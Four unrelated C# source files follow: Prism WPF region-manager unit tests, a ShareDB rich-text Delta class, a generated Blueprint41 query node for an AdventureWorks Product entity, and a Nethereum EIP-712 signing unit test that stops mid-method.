using System; using System.Collections; using System.Collections.Generic; using System.Windows.Controls; using Microsoft.VisualStudio.TestTools.UnitTesting; using Prism.Regions; using Prism.Regions.Behaviors; using Prism.Wpf.Tests.Mocks; namespace Prism.Wpf.Tests.Regions.Behaviors { [TestClass] public class RegionManagerRegistrationBehaviorFixture { [TestMethod] public void ShouldRegisterRegionIfRegionManagerIsSet() { var control = new ItemsControl(); var regionManager = new MockRegionManager(); var accessor = new MockRegionManagerAccessor { GetRegionManager = d => regionManager }; var region = new MockPresentationRegion() {Name = "myRegionName"}; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = region, HostControl = control }; behavior.Attach(); Assert.IsTrue(regionManager.MockRegionCollection.AddCalled); Assert.AreSame(region, regionManager.MockRegionCollection.AddArgument); } [TestMethod] public void DoesNotFailIfRegionManagerIsNotSet() { var control = new ItemsControl(); var accessor = new MockRegionManagerAccessor(); var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = new MockPresentationRegion() { Name = "myRegionWithoutManager" }, HostControl = control }; behavior.Attach(); } [TestMethod] public void RegionGetsAddedInRegionManagerWhenAddedIntoAScopeAndAccessingRegions() { var regionManager = new MockRegionManager(); var control = new MockFrameworkElement(); var regionScopeControl = new ContentControl(); var accessor = new MockRegionManagerAccessor { GetRegionManager = d => d == regionScopeControl ? regionManager : null }; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = new MockPresentationRegion() { Name = "myRegionName" }, HostControl = control }; behavior.Attach(); Assert.IsFalse(regionManager.MockRegionCollection.AddCalled); regionScopeControl.Content = control; accessor.UpdateRegions(); Assert.IsTrue(regionManager.MockRegionCollection.AddCalled); } [TestMethod] public void RegionDoesNotGetAddedTwiceWhenUpdatingRegions() { var regionManager = new MockRegionManager(); var control = new MockFrameworkElement(); var regionScopeControl = new ContentControl(); var accessor = new MockRegionManagerAccessor { GetRegionManager = d => d == regionScopeControl ? regionManager : null }; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = new MockPresentationRegion() { Name = "myRegionName" }, HostControl = control }; behavior.Attach(); Assert.IsFalse(regionManager.MockRegionCollection.AddCalled); regionScopeControl.Content = control; accessor.UpdateRegions(); Assert.IsTrue(regionManager.MockRegionCollection.AddCalled); regionManager.MockRegionCollection.AddCalled = false; accessor.UpdateRegions(); Assert.IsFalse(regionManager.MockRegionCollection.AddCalled); } [TestMethod] public void RegionGetsRemovedFromRegionManagerWhenRemovedFromScope() { var regionManager = new MockRegionManager(); var control = new MockFrameworkElement(); var regionScopeControl = new ContentControl(); var accessor = new MockRegionManagerAccessor { GetRegionManager = d => d == regionScopeControl ? regionManager : null }; var region = new MockPresentationRegion() {Name = "myRegionName"}; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = region, HostControl = control }; behavior.Attach(); regionScopeControl.Content = control; accessor.UpdateRegions(); Assert.IsTrue(regionManager.MockRegionCollection.AddCalled); Assert.AreSame(region, regionManager.MockRegionCollection.AddArgument); regionScopeControl.Content = null; accessor.UpdateRegions(); Assert.IsTrue(regionManager.MockRegionCollection.RemoveCalled); } [TestMethod] public void CanAttachBeforeSettingName() { var control = new ItemsControl(); var regionManager = new MockRegionManager(); var accessor = new MockRegionManagerAccessor { GetRegionManager = d => regionManager }; var region = new MockPresentationRegion() { Name = null }; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = region, HostControl = control }; behavior.Attach(); Assert.IsFalse(regionManager.MockRegionCollection.AddCalled); region.Name = "myRegionName"; Assert.IsTrue(regionManager.MockRegionCollection.AddCalled); Assert.AreSame(region, regionManager.MockRegionCollection.AddArgument); } [TestMethod] [ExpectedException(typeof(InvalidOperationException))] public void HostControlSetAfterAttachThrows() { var behavior = new RegionManagerRegistrationBehavior(); var hostControl1 = new MockDependencyObject(); var hostControl2 = new MockDependencyObject(); behavior.HostControl = hostControl1; behavior.Attach(); behavior.HostControl = hostControl2; } [TestMethod] public void BehaviorDoesNotPreventRegionManagerFromBeingGarbageCollected() { var control = new MockFrameworkElement(); var regionManager = new MockRegionManager(); var regionManagerWeakReference = new WeakReference(regionManager); var accessor = new MockRegionManagerAccessor { GetRegionName = d => "myRegionName", GetRegionManager = d => regionManager }; var behavior = new RegionManagerRegistrationBehavior() { RegionManagerAccessor = accessor, Region = new MockPresentationRegion(), HostControl = control }; behavior.Attach(); Assert.IsTrue(regionManagerWeakReference.IsAlive); GC.KeepAlive(regionManager); regionManager = null; GC.Collect(); Assert.IsFalse(regionManagerWeakReference.IsAlive); } internal class MockRegionManager : IRegionManager { public MockRegionCollection MockRegionCollection = new MockRegionCollection(); #region IRegionManager Members public IRegionCollection Regions { get { return this.MockRegionCollection; } } IRegionManager IRegionManager.CreateRegionManager() { throw new System.NotImplementedException(); } public IRegionManager AddToRegion(string regionName, object view) { throw new NotImplementedException(); } public IRegionManager RegisterViewWithRegion(string regionName, Type viewType) { throw new NotImplementedException(); } public IRegionManager RegisterViewWithRegion(string regionName, Func<object> getContentDelegate) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, Uri source, Action<NavigationResult> navigationCallback) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, Uri source) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, string source, Action<NavigationResult> navigationCallback) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, string source) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, Uri target, Action<NavigationResult> navigationCallback, NavigationParameters navigationParameters) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, string target, Action<NavigationResult> navigationCallback, NavigationParameters navigationParameters) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, Uri target, NavigationParameters navigationParameters) { throw new NotImplementedException(); } public void RequestNavigate(string regionName, string target, NavigationParameters navigationParameters) { throw new NotImplementedException(); } #endregion public bool Navigate(Uri source) { throw new NotImplementedException(); } } } internal class MockRegionCollection : IRegionCollection { public bool RemoveCalled; public bool AddCalled; public IRegion AddArgument; IEnumerator<IRegion> IEnumerable<IRegion>.GetEnumerator() { throw new System.NotImplementedException(); } IEnumerator IEnumerable.GetEnumerator() { throw new System.NotImplementedException(); } public IRegion this[string regionName] { get { throw new System.NotImplementedException(); } } public void Add(IRegion region) { AddCalled = true; AddArgument = region; } public bool Remove(string regionName) { RemoveCalled = true; return true; } public bool ContainsRegionWithName(string regionName) { throw new System.NotImplementedException(); } public void Add(string regionName, IRegion region) { throw new NotImplementedException(); } public event System.Collections.Specialized.NotifyCollectionChangedEventHandler CollectionChanged; } }
using Newtonsoft.Json.Linq; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ShareDB.RichText { public class Delta { private static readonly Lazy<DeltaEqualityComparer> _equalityComparer = new Lazy<DeltaEqualityComparer>(); public static DeltaEqualityComparer EqualityComparer => _equalityComparer.Value; public const string InsertType = "insert"; public const string DeleteType = "delete"; public const string RetainType = "retain"; public const string Attributes = "attributes"; public static Delta New() { return new Delta(); } private readonly List<JToken> _ops; public Delta() { _ops = new List<JToken>(); } public Delta(IEnumerable<JToken> ops) { _ops = ops.ToList(); } public Delta(Delta delta) { _ops = delta._ops.Select(op => op.DeepClone()).ToList(); } public IReadOnlyList<JToken> Ops => _ops; public Delta Insert(object text, object attributes = null) { var textToken = text as JToken; if (textToken == null) textToken = JToken.FromObject(text); JToken attrsToken = null; if (attributes != null) { attrsToken = attributes as JToken; if (attrsToken == null) attrsToken = JToken.FromObject(attributes); } if (textToken.Type == JTokenType.String && ((string) textToken).Length == 0) return this; var newOp = new JObject(new JProperty(InsertType, textToken)); if (attrsToken != null && attrsToken.HasValues) newOp[Attributes] = attrsToken; return Add(newOp); } public Delta Delete(int length) { if (length <= 0) return this; return Add(new JObject(new JProperty(DeleteType, length))); } public Delta Retain(int length, object attributes = null) { if (length <= 0) return this; JToken attrsToken = null; if (attributes != null) { attrsToken = attributes as JToken; if (attrsToken == null) attrsToken = JToken.FromObject(attributes); } var newOp = new JObject(new JProperty(RetainType, length)); if (attrsToken != null && attrsToken.HasValues) newOp[Attributes] = attrsToken; return Add(newOp); } public Delta Chop() { JToken lastOp = _ops.Count == 0 ? null : _ops[_ops.Count - 1]; if (lastOp != null && lastOp[RetainType] != null && lastOp[Attributes] == null) _ops.RemoveAt(_ops.Count - 1); return this; } public Delta Compose(Delta other) { var thisIter = new OpIterator(_ops); var otherIter = new OpIterator(other._ops); var delta = new Delta(); while (thisIter.HasNext() || otherIter.HasNext()) { if (otherIter.PeekType() == InsertType) { delta.Add(otherIter.Next()); } else if (thisIter.PeekType() == DeleteType) { delta.Add(thisIter.Next()); } else { int length = Math.Min(thisIter.PeekLength(), otherIter.PeekLength()); JToken thisOp = thisIter.Next(length); JToken otherOp = otherIter.Next(length); if (otherOp.OpType() == RetainType) { var newOp = new JObject(); if (thisOp.OpType() == RetainType) newOp[RetainType] = length; else newOp[InsertType] = thisOp[InsertType]; JToken attributes = ComposeAttributes(thisOp[Attributes], otherOp[Attributes], thisOp.OpType() == RetainType); if (attributes != null) newOp[Attributes] = attributes; delta.Add(newOp); } else if (otherOp.OpType() == DeleteType && thisOp.OpType() == RetainType) { delta.Add(otherOp); } } } return delta.Chop(); } public Delta Diff(Delta other) { if (this == other) return new Delta(); if (!TryConcatInserts(this, out string thisStr) || !TryConcatInserts(other, out string otherStr)) throw new InvalidOperationException("Both deltas must be documents."); var delta = new Delta(); List<Diff> diffResult = Differ.Compute(thisStr, otherStr); var thisIter = new OpIterator(this.Ops); var otherIter = new OpIterator(other.Ops); foreach (Diff component in diffResult) { int length = component.Text.Length; while (length > 0) { int opLength = 0; switch (component.Operation) { case Operation.Insert: opLength = Math.Min(otherIter.PeekLength(), length); delta.Add(otherIter.Next(opLength)); break; case Operation.Delete: opLength = Math.Min(length, thisIter.PeekLength()); thisIter.Next(opLength); delta.Delete(opLength); break; case Operation.Equal: opLength = Math.Min(Math.Min(thisIter.PeekLength(), otherIter.PeekLength()), length); JToken thisOp = thisIter.Next(opLength); JToken otherOp = otherIter.Next(opLength); if (JToken.DeepEquals(thisOp[InsertType], otherOp[InsertType])) { delta.Retain(opLength, DiffAttributes(thisOp[Attributes], otherOp[Attributes])); } else { delta.Add(otherOp); delta.Delete(opLength); } break; } length -= opLength; } } return delta.Chop(); } public int GetLength() { return _ops.Sum(op => op.OpLength()); } public bool DeepEquals(Delta other) { if (_ops.Count != other._ops.Count) return false; for (int i = 0; i < _ops.Count; i++) { if (!JToken.DeepEquals(_ops[i], other._ops[i])) return false; } return true; } private Delta Add(JToken newOp) { int index = _ops.Count; JToken lastOp = _ops.Count == 0 ? null : _ops[_ops.Count - 1]; newOp = (JObject) newOp.DeepClone(); if (lastOp != null && lastOp.Type == JTokenType.Object) { if (newOp.OpType() == DeleteType && lastOp.OpType() == DeleteType) { int delete = (int) lastOp[DeleteType] + (int) newOp[DeleteType]; _ops[index - 1] = new JObject(new JProperty(DeleteType, delete)); return this; } if (lastOp.OpType() == DeleteType && newOp.OpType() == InsertType) { index -= 1; lastOp = index == 0 ? null : _ops[index - 1]; if (lastOp?.Type != JTokenType.Object) { _ops.Insert(0, newOp); return this; } } if (JToken.DeepEquals(newOp[Attributes], lastOp[Attributes])) { if (newOp[InsertType]?.Type == JTokenType.String && lastOp[InsertType]?.Type == JTokenType.String) { string insert = (string) lastOp[InsertType] + (string) newOp[InsertType]; var op = new JObject(new JProperty(InsertType, insert)); if (newOp[Attributes]?.Type == JTokenType.Object) op[Attributes] = newOp[Attributes]; _ops[index - 1] = op; return this; } else if (newOp.OpType() == RetainType && lastOp.OpType() == RetainType) { int retain = (int) lastOp[RetainType] + (int) newOp[RetainType]; var op = new JObject(new JProperty(RetainType, retain)); if (newOp[Attributes]?.Type == JTokenType.Object) op[Attributes] = newOp[Attributes]; _ops[index - 1] = op; return this; } } } _ops.Insert(index, newOp); return this; } private static JToken ComposeAttributes(JToken a, JToken b, bool keepNull) { JObject aObj = a?.Type == JTokenType.Object ? (JObject) a : new JObject(); JObject bObj = b?.Type == JTokenType.Object ? (JObject) b : new JObject(); JObject attributes = (JObject) bObj.DeepClone(); if (!keepNull) attributes = new JObject(attributes.Properties().Where(p => p.Value.Type != JTokenType.Null)); foreach (JProperty prop in aObj.Properties()) { if (aObj[prop.Name] != null && bObj[prop.Name] == null) attributes.Add(prop); } return attributes.HasValues ? attributes : null; } private static bool TryConcatInserts(Delta delta, out string str) { var sb = new StringBuilder(); foreach (JToken op in delta.Ops) { if (op[InsertType] != null) { sb.Append(op[InsertType]?.Type == JTokenType.String ? (string) op[InsertType] : "\0"); } else { str = null; return false; } } str = sb.ToString(); return true; } private static JToken DiffAttributes(JToken a, JToken b) { JObject aObj = a?.Type == JTokenType.Object ? (JObject) a : new JObject(); JObject bObj = b?.Type == JTokenType.Object ? (JObject) b : new JObject(); JObject attributes = aObj.Properties().Select(p => p.Name).Concat(bObj.Properties().Select(p => p.Name)) .Aggregate(new JObject(), (attrs, key) => { if (!JToken.DeepEquals(aObj[key], bObj[key])) attrs[key] = bObj[key] == null ? JValue.CreateNull() : bObj[key]; return attrs; }); return attributes.HasValues ? attributes : null; } private class OpIterator { private readonly IReadOnlyList<JToken> _ops; private int _index; private int _offset; public OpIterator(IReadOnlyList<JToken> ops) { _ops = ops; } public bool HasNext() { return PeekLength() < int.MaxValue; } public JToken Next(int length = int.MaxValue) { if (_index >= _ops.Count) return new JObject(new JProperty(RetainType, int.MaxValue)); JToken nextOp = _ops[_index]; int offset = _offset; int opLength = nextOp.OpLength(); if (length >= opLength - offset) { length = opLength - offset; _index++; _offset = 0; } else { _offset += length; } if (nextOp.OpType() == DeleteType) return new JObject(new JProperty(DeleteType, length)); var retOp = new JObject(); if (nextOp[Attributes] != null) retOp[Attributes] = nextOp[Attributes]; if (nextOp.OpType() == RetainType) retOp[RetainType] = length; else if (nextOp[InsertType]?.Type == JTokenType.String) retOp[InsertType] = ((string) nextOp[InsertType]).Substring(offset, length); else retOp[InsertType] = nextOp[InsertType]; return retOp; } public JToken Peek() { return _index >= _ops.Count ? null : _ops[_index]; } public int PeekLength() { if (_index >= _ops.Count) return int.MaxValue; return _ops[_index].OpLength() - _offset; } public string PeekType() { if (_index >= _ops.Count) return RetainType; JToken nextOp = _ops[_index]; return nextOp.OpType(); } } } }
using System; using System.Collections.Generic; using Blueprint41; using Blueprint41.Core; using Blueprint41.Query; namespace Domain.Data.Query { public partial class Node { public static ProductNode Product { get { return new ProductNode(); } } } public partial class ProductNode : Blueprint41.Query.Node { protected override string GetNeo4jLabel() { return "Product"; } internal ProductNode() { } internal ProductNode(ProductAlias alias, bool isReference = false) { NodeAlias = alias; IsReference = isReference; } internal ProductNode(RELATIONSHIP relationship, DirectionEnum direction, string neo4jLabel = null) : base(relationship, direction, neo4jLabel) { } public ProductNode Alias(out ProductAlias alias) { alias = new ProductAlias(this); NodeAlias = alias; return this; } public ProductNode UseExistingAlias(AliasResult alias) { NodeAlias = alias; return this; } public ProductIn In { get { return new ProductIn(this); } } public class ProductIn { private ProductNode Parent; internal ProductIn(ProductNode parent) { Parent = parent; } public IFromIn_PRODUCT_HAS_DOCUMENT_REL PRODUCT_HAS_DOCUMENT { get { return new PRODUCT_HAS_DOCUMENT_REL(Parent, DirectionEnum.In); } } public IFromIn_PRODUCT_HAS_PRODUCTMODEL_REL PRODUCT_HAS_PRODUCTMODEL { get { return new PRODUCT_HAS_PRODUCTMODEL_REL(Parent, DirectionEnum.In); } } public IFromIn_PRODUCT_HAS_PRODUCTPRODUCTPHOTO_REL PRODUCT_HAS_PRODUCTPRODUCTPHOTO { get { return new PRODUCT_HAS_PRODUCTPRODUCTPHOTO_REL(Parent, DirectionEnum.In); } } public IFromIn_PRODUCT_HAS_TRANSACTIONHISTORY_REL PRODUCT_HAS_TRANSACTIONHISTORY { get { return new PRODUCT_HAS_TRANSACTIONHISTORY_REL(Parent, DirectionEnum.In); } } public IFromIn_PRODUCT_VALID_FOR_PRODUCTREVIEW_REL PRODUCT_VALID_FOR_PRODUCTREVIEW { get { return new PRODUCT_VALID_FOR_PRODUCTREVIEW_REL(Parent, DirectionEnum.In); } } } public ProductOut Out { get { return new ProductOut(this); } } public class ProductOut { private ProductNode Parent; internal ProductOut(ProductNode parent) { Parent = parent; } public IFromOut_BILLOFMATERIALS_HAS_PRODUCT_REL BILLOFMATERIALS_HAS_PRODUCT { get { return new BILLOFMATERIALS_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_PRODUCTCOSTHISTORY_HAS_PRODUCT_REL PRODUCTCOSTHISTORY_HAS_PRODUCT { get { return new PRODUCTCOSTHISTORY_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_PRODUCTINVENTORY_HAS_PRODUCT_REL PRODUCTINVENTORY_HAS_PRODUCT { get { return new PRODUCTINVENTORY_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_PRODUCTLISTPRICEHISTORY_VALID_FOR_PRODUCT_REL PRODUCTLISTPRICEHISTORY_VALID_FOR_PRODUCT { get { return new PRODUCTLISTPRICEHISTORY_VALID_FOR_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_PRODUCTVENDOR_HAS_PRODUCT_REL PRODUCTVENDOR_HAS_PRODUCT { get { return new PRODUCTVENDOR_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_PURCHASEORDERDETAIL_HAS_PRODUCT_REL PURCHASEORDERDETAIL_HAS_PRODUCT { get { return new PURCHASEORDERDETAIL_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_SALESORDERDETAIL_HAS_PRODUCT_REL SALESORDERDETAIL_HAS_PRODUCT { get { return new SALESORDERDETAIL_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_SHOPPINGCARTITEM_HAS_PRODUCT_REL SHOPPINGCARTITEM_HAS_PRODUCT { get { return new SHOPPINGCARTITEM_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_TRANSACTIONHISTORYARCHIVE_HAS_PRODUCT_REL TRANSACTIONHISTORYARCHIVE_HAS_PRODUCT { get { return new TRANSACTIONHISTORYARCHIVE_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_WORKORDER_HAS_PRODUCT_REL WORKORDER_HAS_PRODUCT { get { return new WORKORDER_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } public IFromOut_WORKORDERROUTING_HAS_PRODUCT_REL WORKORDERROUTING_HAS_PRODUCT { get { return new WORKORDERROUTING_HAS_PRODUCT_REL(Parent, DirectionEnum.Out); } } } } public class ProductAlias : AliasResult { internal ProductAlias(ProductNode parent) { Node = parent; } public override IReadOnlyDictionary<string, FieldResult> AliasFields { get { if (m_AliasFields == null) { m_AliasFields = new Dictionary<string, FieldResult>() { { "Name", new StringResult(this, "Name", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Name"]) }, { "ProductNumber", new StringResult(this, "ProductNumber", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["ProductNumber"]) }, { "MakeFlag", new BooleanResult(this, "MakeFlag", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["MakeFlag"]) }, { "FinishedGoodsFlag", new BooleanResult(this, "FinishedGoodsFlag", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["FinishedGoodsFlag"]) }, { "Color", new StringResult(this, "Color", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Color"]) }, { "SafetyStockLevel", new NumericResult(this, "SafetyStockLevel", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["SafetyStockLevel"]) }, { "ReorderPoint", new NumericResult(this, "ReorderPoint", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["ReorderPoint"]) }, { "StandardCost", new FloatResult(this, "StandardCost", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["StandardCost"]) }, { "ListPrice", new FloatResult(this, "ListPrice", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["ListPrice"]) }, { "Size", new StringResult(this, "Size", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Size"]) }, { "SizeUnitMeasureCode", new StringResult(this, "SizeUnitMeasureCode", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["SizeUnitMeasureCode"]) }, { "WeightUnitMeasureCode", new StringResult(this, "WeightUnitMeasureCode", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["WeightUnitMeasureCode"]) }, { "Weight", new MiscResult(this, "Weight", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Weight"]) }, { "DaysToManufacture", new NumericResult(this, "DaysToManufacture", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["DaysToManufacture"]) }, { "ProductLine", new StringResult(this, "ProductLine", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["ProductLine"]) }, { "Class", new StringResult(this, "Class", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Class"]) }, { "Style", new StringResult(this, "Style", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["Style"]) }, { "SellStartDate", new DateTimeResult(this, "SellStartDate", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["SellStartDate"]) }, { "SellEndDate", new DateTimeResult(this, "SellEndDate", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["SellEndDate"]) }, { "DiscontinuedDate", new DateTimeResult(this, "DiscontinuedDate", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["DiscontinuedDate"]) }, { "rowguid", new StringResult(this, "rowguid", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Product"].Properties["rowguid"]) }, { "ModifiedDate", new DateTimeResult(this, "ModifiedDate", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["SchemaBase"].Properties["ModifiedDate"]) }, { "Uid", new StringResult(this, "Uid", Datastore.AdventureWorks.Model.Entities["Product"], Datastore.AdventureWorks.Model.Entities["Neo4jBase"].Properties["Uid"]) }, }; } return m_AliasFields; } } private IReadOnlyDictionary<string, FieldResult> m_AliasFields = null; public ProductNode.ProductIn In { get { return new ProductNode.ProductIn(new ProductNode(this, true)); } } public ProductNode.ProductOut Out { get { return new ProductNode.ProductOut(new ProductNode(this, true)); } } public StringResult Name { get { if ((object)m_Name == null) m_Name = (StringResult)AliasFields["Name"]; return m_Name; } } private StringResult m_Name = null; public StringResult ProductNumber { get { if ((object)m_ProductNumber == null) m_ProductNumber = (StringResult)AliasFields["ProductNumber"]; return m_ProductNumber; } } private StringResult m_ProductNumber = null; public BooleanResult MakeFlag { get { if ((object)m_MakeFlag == null) m_MakeFlag = (BooleanResult)AliasFields["MakeFlag"]; return m_MakeFlag; } } private BooleanResult m_MakeFlag = null; public BooleanResult FinishedGoodsFlag { get { if ((object)m_FinishedGoodsFlag == null) m_FinishedGoodsFlag = (BooleanResult)AliasFields["FinishedGoodsFlag"]; return m_FinishedGoodsFlag; } } private BooleanResult m_FinishedGoodsFlag = null; public StringResult Color { get { if ((object)m_Color == null) m_Color = (StringResult)AliasFields["Color"]; return m_Color; } } private StringResult m_Color = null; public NumericResult SafetyStockLevel { get { if ((object)m_SafetyStockLevel == null) m_SafetyStockLevel = (NumericResult)AliasFields["SafetyStockLevel"]; return m_SafetyStockLevel; } } private NumericResult m_SafetyStockLevel = null; public NumericResult ReorderPoint { get { if ((object)m_ReorderPoint == null) m_ReorderPoint = (NumericResult)AliasFields["ReorderPoint"]; return m_ReorderPoint; } } private NumericResult m_ReorderPoint = null; public FloatResult StandardCost { get { if ((object)m_StandardCost == null) m_StandardCost = (FloatResult)AliasFields["StandardCost"]; return m_StandardCost; } } private FloatResult m_StandardCost = null; public FloatResult ListPrice { get { if ((object)m_ListPrice == null) m_ListPrice = (FloatResult)AliasFields["ListPrice"]; return m_ListPrice; } } private FloatResult m_ListPrice = null; public StringResult Size { get { if ((object)m_Size == null) m_Size = (StringResult)AliasFields["Size"]; return m_Size; } } private StringResult m_Size = null; public StringResult SizeUnitMeasureCode { get { if ((object)m_SizeUnitMeasureCode == null) m_SizeUnitMeasureCode = (StringResult)AliasFields["SizeUnitMeasureCode"]; return m_SizeUnitMeasureCode; } } private StringResult m_SizeUnitMeasureCode = null; public StringResult WeightUnitMeasureCode { get { if ((object)m_WeightUnitMeasureCode == null) m_WeightUnitMeasureCode = (StringResult)AliasFields["WeightUnitMeasureCode"]; return m_WeightUnitMeasureCode; } } private StringResult m_WeightUnitMeasureCode = null; public MiscResult Weight { get { if ((object)m_Weight == null) m_Weight = (MiscResult)AliasFields["Weight"]; return m_Weight; } } private MiscResult m_Weight = null; public NumericResult DaysToManufacture { get { if ((object)m_DaysToManufacture == null) m_DaysToManufacture = (NumericResult)AliasFields["DaysToManufacture"]; return m_DaysToManufacture; } } private NumericResult m_DaysToManufacture = null; public StringResult ProductLine { get { if ((object)m_ProductLine == null) m_ProductLine = (StringResult)AliasFields["ProductLine"]; return m_ProductLine; } } private StringResult m_ProductLine = null; public StringResult Class { get { if ((object)m_Class == null) m_Class = (StringResult)AliasFields["Class"]; return m_Class; } } private StringResult m_Class = null; public StringResult Style { get { if ((object)m_Style == null) m_Style = (StringResult)AliasFields["Style"]; return m_Style; } } private StringResult m_Style = null; public DateTimeResult SellStartDate { get { if ((object)m_SellStartDate == null) m_SellStartDate = (DateTimeResult)AliasFields["SellStartDate"]; return m_SellStartDate; } } private DateTimeResult m_SellStartDate = null; public DateTimeResult SellEndDate { get { if ((object)m_SellEndDate == null) m_SellEndDate = (DateTimeResult)AliasFields["SellEndDate"]; return m_SellEndDate; } } private DateTimeResult m_SellEndDate = null; public DateTimeResult DiscontinuedDate { get { if ((object)m_DiscontinuedDate == null) m_DiscontinuedDate = (DateTimeResult)AliasFields["DiscontinuedDate"]; return m_DiscontinuedDate; } } private DateTimeResult m_DiscontinuedDate = null; public StringResult rowguid { get { if ((object)m_rowguid == null) m_rowguid = (StringResult)AliasFields["rowguid"]; return m_rowguid; } } private StringResult m_rowguid = null; public DateTimeResult ModifiedDate { get { if ((object)m_ModifiedDate == null) m_ModifiedDate = (DateTimeResult)AliasFields["ModifiedDate"]; return m_ModifiedDate; } } private DateTimeResult m_ModifiedDate = null; public StringResult Uid { get { if ((object)m_Uid == null) m_Uid = (StringResult)AliasFields["Uid"]; return m_Uid; } } private StringResult m_Uid = null; } }
using System.Collections.Generic; using System.Numerics; using Nethereum.Hex.HexConvertors.Extensions; using Nethereum.Signer.EIP712; using Nethereum.Util; using Nethereum.ABI.FunctionEncoding.Attributes; using Xunit; using System.Text; using Nethereum.ABI.FunctionEncoding; using System.Linq; namespace Nethereum.Signer.UnitTests { public class Eip712TypedDataSignerTest { private readonly Eip712TypedDataSigner _signer = new Eip712TypedDataSigner(); [Fact] private void ComplexMessageTypedDataEncodingShouldBeCorrectForV4IncludingArrays() { var typedData = new TypedData<Domain> { Domain = new Domain { Name = "Ether Mail", Version = "1", ChainId = 1, VerifyingContract = "0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC" }, Types = new Dictionary<string, MemberDescription[]> { ["EIP712Domain"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "version", Type = "string"}, new MemberDescription {Name = "chainId", Type = "uint256"}, new MemberDescription {Name = "verifyingContract", Type = "address"}, }, ["Group"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "members", Type = "Person[]"}, }, ["Mail"] = new[] { new MemberDescription {Name = "from", Type = "Person"}, new MemberDescription {Name = "to", Type = "Person[]"}, new MemberDescription {Name = "contents", Type = "string"}, }, ["Person"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "wallets", Type = "address[]"}, }, }, PrimaryType = "Mail", Message = new[] { new MemberValue { TypeName = "Person", Value = new[] { new MemberValue {TypeName = "string", Value = "Cow"}, new MemberValue {TypeName = "address[]", Value = new List<string>{ "0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826", "0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF" } }, } }, new MemberValue { TypeName = "Person[]", Value = new List<MemberValue[]>{ new[] { new MemberValue {TypeName = "string", Value = "Bob"}, new MemberValue {TypeName = "address[]", Value = new List<string>{ "0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB", "0xB0BdaBea57B0BDABeA57b0bdABEA57b0BDabEa57", "0xB0B0b0b0b0b0B000000000000000000000000000" } }, } } }, new MemberValue {TypeName = "string", Value = "Hello, Bob!"}, } }; var result = _signer.EncodeTypedData(typedData); var key = new EthECKey("94e001d6adf3a3275d5dd45971c2a5f6637d3e9c51f9693f2e678f649e164fa5"); var signature = _signer.SignTypedDataV4(typedData, key); 